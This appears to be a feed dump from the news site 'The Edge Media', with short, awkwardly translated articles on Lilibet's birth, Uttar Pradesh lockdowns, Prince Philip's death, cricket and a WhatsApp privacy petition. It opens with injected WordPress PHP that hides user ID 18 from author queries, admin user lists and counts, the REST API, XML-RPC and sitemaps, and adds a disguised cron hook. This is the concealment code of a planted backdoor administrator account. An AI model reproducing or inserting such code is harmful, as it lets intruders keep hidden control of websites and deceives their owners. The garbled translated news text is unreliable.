add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Prince Harry and Meghan blessed with a baby girl appeared first on The Edge Media.
]]>
Meghan, Britain’s Duchess of Sussex, has given birth to her second child, a baby girl, whom she and husband Prince Harry have named after Queen Elizabeth and his late mother Princess Diana.
Lilibet ‘Lili’ Diana Mountbatten-Windsor was born on Friday at the Santa Barbara Cottage Hospital in California, with Harry in attendance. Lilibet Diana Mountbatten-Windsor is eighth in line to the British throne.
The birth follows a tumultuous year for the couple, who have stepped down from royal duties and moved to the United States to live more independent lives, but rarely been seen out of the public spotlight.
Both mother and baby were doing well and were back at home, their press secretary said.
Lilibet was Queen Elizabeth’s childhood nickname. Harry and Meghan’s decision to name their daughter after the 95-year-old monarch came less than two months after the death of her husband Prince Philip, the royal family’s patriarchal figure.
In a message of thanks on the couple’s Archewell website, they said: “On June 4, we were blessed with the arrival of our daughter, Lili.
“She is more than we could have ever imagined, and we remain grateful for the love and prayers we’ve felt from across the globe.
“Thank you for your continued kindness and support during this very special time for our family.”
The post Prince Harry and Meghan blessed with a baby girl appeared first on The Edge Media.
]]>The post Lockdown in U.P form Friday to tuesday appeared first on The Edge Media.
]]>Now the state will remain in captivity from eight in the evening to seven in the morning on Tuesday. Explain that according to the order issued earlier, the Saturday and Sunday lockdown will remain in force.
In fact, on Tuesday, the Allahabad High Court, while hearing the situation of Corona in the state, said that the lockdown of two days was inadequate and said that the government has imposed a lockdown of two days to break the chain of infection as well as other restrictions as per its discretion.
Have also been implemented, but in view of new cases of infection, it looks futile. These measures seem inadequate. This comment of the High Court is also being considered as a reason behind extending the lockdown till Tuesday morning.
In the hearing, the High Court had told the government in strong words that those who are in power should give up their attitude like ‘obey my law, otherwise there is no Qaida’.
In the case, the High Court had directed the government to submit an action plan in 12 points to prevent infection in the hearing to be held on May 3.
Earlier, the state government had announced to impose a 35-hour lockdown on April 16, which was applicable from 8 am on Saturday night till 7 am on Monday morning.
However, the amendment was again decided to lockdown from eight o’clock on Friday night to seven o’clock on Monday.
Along with this, the State Government has given strict action against those who do not wear masks. Those exiting without a mask will be fined one thousand rupees for the first time.
For the second time, you will have to pay 10 times more fine. The State Government directed to strictly follow the Corona Protocol.
In a meeting with officers on Thursday, Chief Minister Yogi said that Uttar Pradesh is fighting with full commitment in the fight against covid. Learning from the experiences of the first wave of covid, health resources have been improved with priority.
This work is going on continuously. We have to be ready for every situation. Today there are more than 116000 L-1 beds, L-Two and L-3 have more than 65000 beds.
Two CHCs are being developed as covid Dedicated Hospitals in all the districts. Resources are being increased in government hospitals, private hospitals and medical colleges should also be added to it.
He directed the action of doubling the covid Bed to double the present capacity, examining all the options. He said that there should be availability of necessary medical resources like oxygen on all beds.
He said that the supply of oxygen is getting better every day. Along with connecting all the resources available in Uttar Pradesh to the supply chain, special means like oxygen express, air route are also being used.
There is continuous supply of oxygen from Roorkee, Dehradun, Jamshedpur, Bokaro etc. areas. Like yesterday, more than 650 metric tons of oxygen has to be supplied today. The need of all small and big hospitals in all districts should be monitored. They should be supplied.
The post Lockdown in U.P form Friday to tuesday appeared first on The Edge Media.
]]>The post Prince Philip, the husband of Queen Elizabeth II, dies appeared first on The Edge Media.
]]>June 10 would have been Prince Philip’s 100th birthday. He was born on 10 June 1921 on the Greek island of Corfu.
In the month of February, he was admitted to the hospital for treatment and was treated for infection and cardiovascular disease. Later in the month of March, Elizabeth II’s husband was discharged from the hospital.
Prime Minister Narendra Modi has condoled the death of Prince Philip. He tweeted, “My thoughts on the death of Prince Philip are with the British people and the royal family.” He had a distinguished career in the military and was at the forefront of many community service initiatives. may his soul rest in peace.”

Philip was also known as the Duke of Edinburgh. He was married to Elizabeth in 1947 . Philip was retired from public life in 2017. He was also member of the Greek royal family and was born in 1921 in the Greek island of Corfu. He was very interested in sports. He has four children and eight grandchildren.
When Philip’s parents separated in childhood, his father spent much of his time in the south of France; His mother was suffering from mental illness. She was forced to remain in a hospital for several years before returning to Greece. He began spending more time with his mother’s brother George.Marquis died of cancer in 1938.Philip found a new mentor in Mountbatten .and his mother’s second brother, Lewis Mountbatten, future Earl of Burma. Following in his grandfather’s footsteps, the young Philip was sent to the Royal Naval Academy in Dartmouth and joined the British Navy. Philippe served with distinction in a marvelous naval career, including service during World War II.
The post Prince Philip, the husband of Queen Elizabeth II, dies appeared first on The Edge Media.
]]>The post India set target of 186 runs in do or die match of T20 appeared first on The Edge Media.
]]>The fourth match of the 5-match series between India and England is being played at the Narendra Modi Stadium in Ahmedabad. India has scored 185 runs at the loss of eight wickets while batting first. England need 186 runs to win.
Suryakumar Yadav scored the highest 57 runs from India. Jofra Archer took the maximum four wickets from England.
England won the toss and decided to field first.
There has been no change in the England team. Two major changes have been made in the Indian team. Surya Kumar Yadav has been replaced in place of Ishaan Kishan and Rahul Chahar has come in place of Yajuvendra Chahal.
Rohit Sharma and KL Rahul started the innings for India but they could not play a long partnership.
The post India set target of 186 runs in do or die match of T20 appeared first on The Edge Media.
]]>The post PUBG Mobile banned 12 lakh cheaters and hackers accounts in just 6 days appeared first on The Edge Media.
]]>The post PUBG Mobile banned 12 lakh cheaters and hackers accounts in just 6 days appeared first on The Edge Media.
]]>The post School opens after 10 months in Delhi; children show Victory sign amid guidelines appeared first on The Edge Media.
]]>When the students of class 12 reached the school at Sarvodaya Kanya Vidyalaya in Delhi, they showed happiness by showing the victory sign. Schools are opening after ten months, so all the children have arrived with masks. At the time of entry in the school, care is being taken for two yards and besides this, sanitization has also been facilitated.
Let us tell you that the board examinations are to be held in May, in such a situation now many states have decided to open schools for students of 10th-12th. On the previous day, Delhi Education Minister Manish Sisodia had a meeting with the officials and reviewed all the arrangements related to the opening of the school. On Monday, not only Delhi but Rajasthan is also opening schools.
Let me tell you that very strict adherence has been followed in opening the school, just as written permission of parents of students is necessary, there will be no physical activity in the school, guidelines should be written everywhere.
The post School opens after 10 months in Delhi; children show Victory sign amid guidelines appeared first on The Edge Media.
]]>The post Mission 2022: Why is ‘Modi man’ AK Sharma special for BJP in UP? appeared first on The Edge Media.
]]>Gujarat was the work place of AK Sharma, born in Mau district of Uttar Pradesh. In such a situation, if sources are to be believed, since then, PM Modi’s belief is that he has been sent to UP so that BJP’s Mission 2022 can be given momentum. In the past, Chief Minister Yogi Adityanath had met PM Narendra Modi, in which this decision was approved. It is discussed that AK Sharma may get an important position in the Yogi cabinet.
After joining BJP, AK Sharma said last day, ‘He is very happy, there are many political parties in the country. But as PM Narendra Modi and BJP are working, it is fantastic ‘. It is not easy to come directly to UP from the court of Delhi, that is why there is speculation that AK Sharma may get an important post of UP cabinet or directly deputy CM post.
It is believed that AK Sharma can get a place in the cabinet to address the caste politics of UP. After forming the government in 2017, Keshav Maurya (backward caste) and Dinesh Sharma (Brahmin) were made deputy CMs, so that the equation could be simplified. Now the same speculation about AK Sharma, though because the background of AK Sharma belongs to the bureaucracy, it is believed that being special of PM Modi, he has been given special responsibility of UP.
Some BJP leaders believe that with the arrival of AK Sharma, the pace of schemes going on in the state can increase, because the person of PMO will be directly here. Many questions are also raised about joining the political party as soon as they take VRS.
Born in Mau district of Uttar Pradesh, AK Sharma wrote his studies from UP. In 1988, he joined the Civil Service, became an IAS and got a posting in Gujarat. In 1995, he took command of Mehsana, after which he continued to move forward.
However, when Narendra Modi got the command of Gujarat in 2001, then he saw AK Sharma. He was first linked to Sardar Sarovar’s project, then he came to CMO. After the Kutch earthquake, AK Sharma also got the responsibility of grooming, apart from the economic affairs of Gujarat like Vibrant Gujarat, AK Sharma also insisted on bringing investment.
This is the reason why AK Sharma’s confidence in Narendra Modi’s leadership kept growing. When Narendra Modi came to Delhi from Gujarat, AK Sharma was also called here. AK Sharma engaged in infrastructure related projects in Delhi, in which the target of investment of about one hundred lakh crores. Recently, efforts were being made under the leadership of AK Sharma to meet the target for small business like project, success of self-reliant India.
The post Mission 2022: Why is ‘Modi man’ AK Sharma special for BJP in UP? appeared first on The Edge Media.
]]>The post WhatsApp’s new private policy challenged in Delhi High Court, demand to stop immediately appeared first on The Edge Media.
]]>It has also been said in the petition filed in the court that it is a violation of the right to privacy of any person. This petition has been filed by advocate Chaitanya Rohilla, which states that companies like WhatsApp and Facebook are already illegally sharing the data of common people to the third party. In such a situation, a new private policy of WhatsApp has been made without taking permission from the government.
In this petition, the court has demanded that the new private policy of WhatsApp should be stopped with immediate effect and with it the Government of India should issue guidelines keeping in mind the use of WhatsApp and the right to privacy of the people. The petition states that using the powers found under section 79 (2) (C) and section 87 (2) (ZG) of the Information Technology Act of the Government of India, ensure that WhatsApp allows any third party to use the users Unable to share data.
WhatsApp has changed its privacy policy on 4 January. After this change, it is necessary for the users using WhatsApp to accept all its terms and conditions. Under this, WhatsApp has now made it mandatory that the user who does not accept the terms and conditions, his account will be closed after February 8.
The petition also states that the recently updated privacy policy of WhatsApp has not been implemented in Europe as there is already a data protection law under which sharing of users’ data is a punishable offense.
Taking advantage of the loophole rules in India, the privacy policy that has been brought for WhatsApp users is very dangerous for the whole country. Therefore, there is a need to stop him with immediate effect. The number of users who use WhatsApp worldwide is 2 billion, out of which 40 crore people use it in India alone.
On the other hand, WhatsApp is facing criticism after the change in privacy policy. The company also has to give clarification in this regard. The company said in its clarification that the new policy will not affect the privacy of ordinary users. However, it will make more difference to business account users.
WhatsApp has answered many questions to remove the doubts in the minds of people about the new policy. Also, the company says that your sensitive data is not shared with Facebook. Also, the new policy update does not affect the privacy of your messages with friends or family in any way.
Under WhatsApp’s new policy on business accounts, if you do not use WhatsApp business, but if you message a merchant’s WhatsApp business account to purchase a product, then you have an eye on WhatsApp.
On its FAQ page, WhatsApp says that every day millions of people from all over the world talk to their customers on WhatsApp.
According to WhatsApp, business chatting is very different from chatting with friends or family. Some big businesses need hosting services to manage their communication.
The post WhatsApp’s new private policy challenged in Delhi High Court, demand to stop immediately appeared first on The Edge Media.
]]>The post Drugs case: Maharashtra minister Nawab Malik’s son-in-law arrested, NCB is raiding many places appeared first on The Edge Media.
]]>The post Drugs case: Maharashtra minister Nawab Malik’s son-in-law arrested, NCB is raiding many places appeared first on The Edge Media.
]]>The post Sonu Sood changed young man’s life, will stand on his feet after 12 years appeared first on The Edge Media.
]]>Aman was treated through Sonu Sood at the Virk Hospital in Karnal under the supervision of neuro surgeon Dr. Ashwani, Aman underwent spinal surgery through his mouth which lasted for several hours. But now Aman’s smile is telling his future. Ashwani, who gave a new life to Aman, has undergone around 1 thousand head and spinal surgeries so far. Sonu Sood considers himself lucky that he got an opportunity to help such people who were in dire need of help.
Explain that in view of the threat of Corona virus, a lockdown was implemented in March across the country. After this, many people had a food crisis. During this time, Sonu Sood was revealed to be the Messiah. Sonu Sood had helped people after getting information from social media.
The post Sonu Sood changed young man’s life, will stand on his feet after 12 years appeared first on The Edge Media.
]]>